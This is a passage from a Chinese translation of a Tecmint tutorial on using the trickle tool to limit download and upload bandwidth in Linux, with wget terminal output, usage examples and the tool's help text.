ravisaive@ravisaive-OptiPlex-380:~$ trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
--2013-11-20 12:01:19-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
Resolving sourceforge.net (sourceforge.net)... 216.34.181.60
Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz [following]
--2013-11-20 12:01:19-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz
Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59
Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following]
--2013-11-20 12:01:20-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso
Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163
Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1093664768 (1.0G) [application/octet-stream]
Saving to: download.1
0% [ ] 2,01,550 13.1KB/s eta 21h 5m
从输出可以看到,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载,还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。
# trickle -u 100 -d 50 ftp
上面的命令限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。
trickle -d 130 -u 13 bash
每个命令行工具都对用户提供了帮助,使用"trickle -h"命令来找出更多trickle工具的用法。
root@oltjano-X55CR:/usr/bin# trickle -h
Usage: trickle [-hvVs] [-d <rate>] [-u <rate>] [-w <length>] [-t <seconds>]
[-l <length>] [-n <path>] command ...
-h Help (this)
-v Increase verbosity level
-V Print trickle version
-s Run trickle in standalone mode independent of trickled
-d <rate> Set maximum cumulative download rate to <rate> KB/s
-u <rate> Set maximum cumulative upload rate to <rate> KB/s
-w <length> Set window length to <length> KB
-t <seconds> Set default smoothing time to <seconds> s
-l <length> Set default smoothing length to <length> KB
-n <path> Use trickled socket name <path>
-L <ms> Set latency to <ms> milliseconds
-P <path> Preload the specified .so instead of the default one
### 总结 ###
本篇文章介绍如何在Linux机器上安装trickle工具并用它如何做一些简单的事情。无论你为大公司工作还是自己使用trickle都是高级Linux用户的必备工具。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/
译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/

Some files were not shown because too many files have changed in this diff Show More